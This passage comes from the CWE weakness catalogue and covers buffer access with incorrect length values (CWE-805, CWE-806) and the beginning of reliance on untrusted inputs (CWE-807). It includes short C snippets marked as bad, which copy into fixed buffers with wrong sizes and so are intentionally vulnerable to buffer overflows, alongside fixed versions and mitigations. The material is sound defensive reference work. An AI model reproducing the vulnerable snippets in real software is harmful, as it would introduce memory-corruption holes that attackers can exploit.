The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293
ParentOf	Ⓥ	806	Buffer Access Using Size of Source Buffer	1710
CanFollow	Ⓑ	130	Improper Handling of Length Parameter Inconsistency	351

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	🅲	1218	Memory Buffer Errors	2479

Weakness Ordinalities

Resultant :

Primary :

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Language : Assembly *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Read Memory Modify Memory Execute Unauthorized Code or Commands *Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.*	
Availability	Modify Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) *Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.*	

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness = High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring manual methods to diagnose the underlying problem.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Phase: Operation

Phase: Build and Compilation

Strategy = Environment Hardening

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory: Double check that the buffer is as large as specified. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Phase: Build and Compilation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness = Defense in Depth

These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment. For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in *cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.*

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the product or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples

Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(Bad)*

```
void host_lookup(char *user_supplied_addr){
  struct hostent *hp;
  in_addr_t *addr;
  char hostname[64];
  in_addr_t inet_addr(const char *cp);
  /*routine that ensures user_supplied_addr is in the right format for conversion */
  validate_addr_form(user_supplied_addr);
  addr = inet_addr(user_supplied_addr);
  hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
  strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname under the assumption that the maximum length value of hostname is 64 bytes, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

Example Language: C *(Bad)*

```
int returnChunkSize(void *) {
  /* if chunk info is valid, return the size of usable memory,
  * else, return -1 to indicate an error
  */
  ...
}
int main() {
  ...
  memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
  ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

In the following example, the source character string is copied to the dest character string using the method strncpy.

Example Language: C *(Bad)*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...
```

However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.

Example Language: C *(Good)*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...
```

Example 4:

In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

Example Language: C *(Bad)*

```
#define LOG_INPUT_SIZE 40
// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {
    int success;
    // buffer with size set to maximum size for input to log file
    char buf[LOG_INPUT_SIZE];
    // copy filename to buffer
    strncpy(buf, filename, length);
    // save to log file
    success = saveToLogFile(buf);
    return success;
}
```

However, in this case the string copy method, strncpy, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, buf. This can lead to a buffer overflow if the number of characters contained in character string pointed to by filename is larger then the number of characters allowed for the local character string. The string copy method should use the buf character string within a sizeof call to ensure that only characters up to the size of the buf array are copied to avoid a buffer overflow, as shown below.

Example Language: C *(Good)*

```
...
// copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...
```

Example 5:

Windows provides the MultiByteToWideChar(), WideCharToMultiByte(), UnicodeToBytes(), and BytesToUnicode() functions to convert between arbitrary multibyte (usually ANSI) character strings and Unicode (wide character) strings. The size arguments to these functions are specified in different units, (one in bytes, the other in characters) making their use prone to error.

In a multibyte character string, each character occupies a varying number of bytes, and therefore the size of such strings is most easily specified as a total number of bytes. In Unicode, however, characters are always a fixed size, and string lengths are typically given by the number of characters they contain. Mistakenly specifying the wrong units in a size argument can lead to a buffer overflow.

The following function takes a username specified as a multibyte string and a pointer to a structure for user information and populates the structure with information about the specified user. Since Windows authentication uses Unicode for usernames, the username argument is first converted from a multibyte string to a Unicode string.

Example Language: C *(Bad)*

```
void getUserInfo(char *username, struct _USER_INFO_2 info){
    WCHAR unicodeUser[UNLEN+1];
    MultiByteToWideChar(CP_ACP, 0, username, -1, unicodeUser, sizeof(unicodeUser));
    NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE *)&info);
}
```

This function incorrectly passes the size of unicodeUser in bytes instead of characters. The call to MultiByteToWideChar() can therefore write up to (UNLEN+1)*sizeof(WCHAR) wide characters, or (UNLEN+1)*sizeof(WCHAR)*sizeof(WCHAR) bytes, to the unicodeUser array, which has only (UNLEN+1)*sizeof(WCHAR) bytes allocated.

If the username string contains more than UNLEN characters, the call to MultiByteToWideChar() will overflow the buffer unicodeUser.

Observed Examples

Reference	Description
CVE-2011-1959	Chain: large length value causes buffer over-read (CWE-126) *https://www.cve.org/CVERecord?id=CVE-2011-1959*
CVE-2011-1848	Use of packet length field to make a calculation, then copy into a fixed-size buffer *https://www.cve.org/CVERecord?id=CVE-2011-1848*
CVE-2011-0105	Chain: retrieval of length value from an uninitialized memory location *https://www.cve.org/CVERecord?id=CVE-2011-0105*
CVE-2011-0606	Crafted length value in document reader leads to buffer overflow *https://www.cve.org/CVERecord?id=CVE-2011-0606*
CVE-2011-0651	SSL server overflow when the sum of multiple length fields exceeds a given value *https://www.cve.org/CVERecord?id=CVE-2011-0651*
CVE-2010-4156	Language interpreter API function doesn't validate length argument, leading to information exposure *https://www.cve.org/CVERecord?id=CVE-2010-4156*

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)	734	2344
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	2354
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2372
MemberOf	C	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	2375
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	2457
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2525

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ARR38-C	Imprecise	Guarantee that library functions do not form invalid pointers

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
100	Overflow Buffers
256	SOAP Array Overflow

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < https://learn.microsoft.com/en-us/archive/blogs/michael_howard/address-space-layout-randomization-in-windows-vista >.2023-04-07.

[REF-59]Arjan van de Ven. "Limiting buffer overflows with ExecShield". < https://archive.is/saAFo >.2023-04-07.

[REF-60]"PaX". < https://en.wikipedia.org/wiki/Executable_space_protection#PaX >.2023-04-07.

[REF-741]Jason Lam. "Top 25 Series - Rank 12 - Buffer Access with Incorrect Length Value". 2010 March 1. SANS Software Security Institute. < https://web.archive.org/web/20100316043717/http://blogs.sans.org:80/appsecstreetfighter/2010/03/11/top-25-series-rank-12-buffer-access-with-incorrect-length-value/ >.2023-04-07.

[REF-57]Matt Messier and John Viega. "Safe C String Library v1.0.3". < http://www.gnu-darwin.org/www001/ports-1.5a-CURRENT/devel/safestr/work/safestr-1.0.3/doc/safestr.html >.2023-04-07.

[REF-56]Microsoft. "Using the Strsafe.h Functions". < https://learn.microsoft.com/en-us/windows/win32/menurc/strsafe-ovw?redirectedfrom=MSDN >.2023-04-07.

[REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/ >.2023-04-07.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege >.2023-04-07.

[REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < https://www.redhat.com/en/blog/position-independent-executables-pie >.2023-04-07.

[REF-1332]John Richard Moser. "Prelink and address space randomization". 2006 July 5. < https://lwn.net/Articles/190139/ >.2023-04-26.

[REF-1333]Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016. < http://www.cs.ucr.edu/~nael/pubs/micro16.pdf >.2023-04-26.

[REF-1334]D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023. < https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/ >.2023-04-26.

[REF-1335]D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. < https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/ >.2023-04-26.

[REF-1336]D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023. < https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/ >.2023-04-26.

[REF-1337]Alexander Sotirov and Mark Dowd. "Bypassing Browser Memory Protections: Setting back browser security by 10 years". 2008. < https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf >.2023-04-26.

CWE-806: Buffer Access Using Size of Source Buffer

Weakness ID : 806
Structure : Simple
Abstraction : Variant

Description

The product uses the size of a source buffer when reading from or writing to a destination buffer, which may cause it to access memory that is outside of the bounds of the buffer.

Extended Description

When the size of the destination is smaller than the size of the source, a buffer overflow could occur.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	805	Buffer Access with Incorrect Length Value	1702

Weakness Ordinalities

Resultant :

Primary :

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Common Consequences

Scope	Impact	Likelihood
Availability	Modify Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) *Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.*	
Integrity Confidentiality Availability	Read Memory Modify Memory Execute Unauthorized Code or Commands *Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.*	
Access Control	Bypass Protection Mechanism *When the consequence is arbitrary code execution, this can often be used to subvert any other security service.*	

Potential Mitigations

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Examples include the Safe C String Library (SafeStr) by Viega, and the Strsafe.h library from Microsoft. This is not a complete solution, since many buffer overflows are not related to strings.

Phase: Operation

Phase: Build and Compilation

Strategy = Environment Hardening

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Phase: Implementation

Programmers should adhere to the following rules when allocating and managing their applications memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if calling this function in a loop and make sure there is no danger of writing past the allocated space. Truncate all input strings to a reasonable length before passing them to the copy and concatenation functions

Phase: Operation

Phase: Build and Compilation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness = Defense in Depth

These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment. For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Build and Compilation

Phase: Operation

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

Demonstrative Examples

Example 1:

In the following example, the source character string is copied to the dest character string using the method strncpy.

Example Language: C *(Bad)*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...
```

However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.

Example Language: C *(Good)*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...
```

Example 2:

In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

Example Language: C *(Bad)*

```
#define LOG_INPUT_SIZE 40
// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {
  int success;
  // buffer with size set to maximum size for input to log file
  char buf[LOG_INPUT_SIZE];
  // copy filename to buffer
  strncpy(buf, filename, length);
  // save to log file
  success = saveToLogFile(buf);
  return success;
}
```

However, in this case the string copy method, strncpy, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, buf. This can lead to a buffer overflow if the number of characters contained in character string pointed to by filename is larger then the number of characters allowed for the local character string. The string copy method should use the buf character string within a sizeof call to ensure that only characters up to the size of the buf array are copied to avoid a buffer overflow, as shown below.

Example Language: C *(Good)*

```
...
// copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...
```

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2525

References

[REF-56]Microsoft. "Using the Strsafe.h Functions". < https://learn.microsoft.com/en-us/windows/win32/menurc/strsafe-ovw?redirectedfrom=MSDN >.2023-04-07.

[REF-57]Matt Messier and John Viega. "Safe C String Library v1.0.3". < http://www.gnu-darwin.org/www001/ports-1.5a-CURRENT/devel/safestr/work/safestr-1.0.3/doc/safestr.html >.2023-04-07.

[REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < https://learn.microsoft.com/en-us/archive/blogs/michael_howard/address-space-layout-randomization-in-windows-vista >.2023-04-07.

[REF-59]Arjan van de Ven. "Limiting buffer overflows with ExecShield". < https://archive.is/saAFo >.2023-04-07.

[REF-60]"PaX". < https://en.wikipedia.org/wiki/Executable_space_protection#PaX >.2023-04-07.

[REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/ >.2023-04-07.

[REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < https://www.redhat.com/en/blog/position-independent-executables-pie >.2023-04-07.

[REF-1332]John Richard Moser. "Prelink and address space randomization". 2006 July 5. < https://lwn.net/Articles/190139/ >.2023-04-26.

[REF-1333]Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016. < http://www.cs.ucr.edu/~nael/pubs/micro16.pdf >.2023-04-26.

[REF-1334]D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023. < https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/ >.2023-04-26.

[REF-1335]D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. < https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/ >.2023-04-26.

[REF-1336]D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023. < https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/ >.2023-04-26.

[REF-1337]Alexander Sotirov and Mark Dowd. "Bypassing Browser Memory Protections: Setting back browser security by 10 years". 2008. < https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf >.2023-04-26.

CWE-807: Reliance on Untrusted Inputs in a Security Decision

Weakness ID : 807
Structure : Simple
Abstraction : Base

Description

The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.

Extended Description

Developers may assume that inputs such as cookies, environment variables, and hidden form fields cannot be modified. However, an attacker could change these inputs using customized clients or other attacks. This change might not be detected. When security decisions such as authentication and authorization are made based on the values of these inputs, attackers can bypass the security of the software.

Without sufficient encryption, integrity checking, or other mechanism, any input that originates from an outsider cannot be trusted.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1520
ParentOf	B	302	Authentication Bypass by Assumed-Immutable Data	735
ParentOf	V	350	Reliance on Reverse DNS Resolution for a Security-Critical Action	863
ParentOf	V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision	1653

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	2427

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality Access Control Availability Other	Bypass Protection Mechanism Gain Privileges or Assume Identity Varies by Context *Attackers can bypass the security decision to access whatever is being protected. The consequences will depend on the associated functionality, but they can range from granting additional privileges to untrusted users to bypassing important security checks. Ultimately, this weakness may lead to exposure or modification of sensitive data, system crash, or execution of arbitrary code.*	

Detection Methods

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness = High

The effectiveness and speed of manual analysis will be reduced if the there is not a centralized security mechanism, and the security logic is widely distributed throughout the software.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Store state information and sensitive data on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions. If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. With a stateless protocol such as HTTP, use a framework that maintains the state for you. Examples include ASP.NET View State [REF-756] and the OWASP ESAPI Session Management feature [REF-45]. Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Identify all inputs that are used for security decisions and determine if you can modify the design so that you do not have to rely on submitted inputs at all. For example, you may be able to keep critical information about the user's session on the server side instead of recording it within external data.

Demonstrative Examples

Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Example Language: Java *(Bad)*

```
Cookie[] cookies = request.getCookies();
```

```
for (int i =0; i< cookies.length; i++) {
  Cookie c = cookies[i];
  if (c.getName().equals("role")) {
